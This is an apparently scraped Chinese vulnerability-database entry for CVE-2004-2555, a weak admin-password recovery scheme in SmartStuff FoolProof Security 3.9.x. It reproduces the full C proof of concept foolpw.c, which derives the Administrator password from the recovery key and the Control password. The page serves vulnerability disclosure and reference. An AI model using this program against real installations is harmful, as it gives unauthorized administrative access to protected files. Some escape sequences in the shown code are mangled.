SmartStuff FoolProof Security Program管理密码恢复漏洞

SmartStuff FoolProof Security Program管理密码恢复漏洞

漏洞ID 1107982 漏洞类型 设计错误
发布时间 2004-06-05 更新时间 2004-06-05
图片[1]-SmartStuff FoolProof Security Program管理密码恢复漏洞-安全小百科CVE编号 CVE-2004-2555
图片[2]-SmartStuff FoolProof Security Program管理密码恢复漏洞-安全小百科CNNVD-ID CNNVD-200412-303
漏洞平台 Windows CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/24171
https://www.securityfocus.com/bid/10467
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-303
|漏洞详情
FoolProof是Smartstuff公司的一个安全程序,它可为Windows和MAC提供访问控制,它可以保护系统文件和文件夹。FoolProof管理密码加密机制不够强壮,攻击者可以利用这个漏洞恢复应用程序的管理密码信息。攻击者可以更改密码恢复机制来获得’Administrator’密码信息,从而控制应用程序,访问受保护数据。
|漏洞EXP
source: http://www.securityfocus.com/bid/10467/info

FoolProof is prone to a vulnerability that may allow an unprivileged user to recover the administrative password for the application. This issue can ultimately allow an attacker to gain unauthorized administrative access to the application.

This issue occurs because an attacker can manipulate the password recovery algorithm to recover an 'Administrator' password.

FoolProof versions 3.9.7 for Windows 98/ME and 3.9.4 for Windows 95 are affected by this issue. Subsequent versions of FoolProof do not contain the password recovery feature. 

/*    The following program calculates the "Administrator" password from the
    password recovery key and the "Control" password.
    
    Usage:
        
        Invoke the program with the following arguments:

        foolpw HEXADECIMAL_RECOVERY_KEY CONTROL_PASSWORD

        Example:

        C:> foolpw BDAD8C8380A6B8BCAC8C2A45484A464C HelloWorld
        12345
    
    Source code:
*/
/*

foolpw.c
Copyright (C) 2004 Cyrillium Security Solutions and Services.

Demonstrates a weakness in FoolProof Security password recovery system. See
CYSA-0329 for details.

CYRILLIUM SECURITY SOLUTIONS AND SERVICES DOES NOT PROVIDE ANY WARRANTY FOR
THIS PROGRAM, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.
SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY
SERVICING, REPAIR OR CORRECTION.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[])
{
    int i; /* Index variable */
    char a, /* Temporary variable for calculations */
         k[33], /* Recovery key in hexadecimal */
         k_array[17], /* Recovery key as array */
         c[17], /* Control password */
         *b = "D:SKFOIJ(*EHJFL", /* Offsets */
         hex_temp[2], /* Temporary storage for hexadecimal conversion */
         *endptr; /* Output variable for strtoul */

    if (argc != 3)
    {
        puts ("Usage: foolpw RECOVERY_KEY CONTROL_PASSWORD");
        return 1;
    }
    if (strlen (argv[1]) != 16*2)
    {
        puts ("Recovery key must be 16 hexadecimal bytes (32 characters)");
        return 1;
    }
    if (strlen (argv[2]) > 16)
    {
        puts ("Passwords are limited to 16 characters");
        return 1;
    }
    memset (k, 0, sizeof (b));
    memset (k_array, 0, sizeof (b));
    memset (c, 0, sizeof (c));
    memset (hex_temp, 0, sizeof (hex_temp));
    strcpy (k, argv[1]);
    strcpy (c, argv[2]);

    for (i = 0; i < 16; i++)
    {
        memcpy (hex_temp, &k[i*2], 2);
        k_array[i] = strtoul (hex_temp, &endptr, 16);
        if (*endptr != '')
        {
            printf("nInvalid hexadecimal character '%c'n", *endptr);
            return 1;
        }
        a = (c[i] + b[i]) ^ k_array[i];
        putc (a, stdout);
    }
    puts ("");
    return 0;
}
|受影响的产品
SmartStuff FoolProof Security 3.9.7

SmartStuff FoolProof Security 3.9.4

|参考资料

来源:XF
名称:foolproof-admin-password-recovery(16327)
链接:http://xforce.iss.net/xforce/xfdb/16327
来源:BID
名称:10467
链接:http://www.securityfocus.com/bid/10467
来源:OSVDB
名称:6735
链接:http://www.osvdb.org/6735
来源:SECUNIA
名称:11790
链接:http://secunia.com/advisories/11790
来源:FULLDISC
名称:20040604[CYSA-0329]PasswordrecoveryvulnerabilityinFoolProofSecurity3.9.xforWindows95/9
链接:http://archives.neohapsis.com/archives/fulldisclosure/2004-06/0081.html
来源:NSFOCUS
名称:6534
链接:http://www.nsfocus.net/vulndb/6534

相关推荐: Berkeley Sendmail Group Permissions Vulnerability

Berkeley Sendmail Group Permissions Vulnerability 漏洞ID 1105087 漏洞类型 Access Validation Error 发布时间 1996-12-03 更新时间 1996-12-03 CVE编号 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享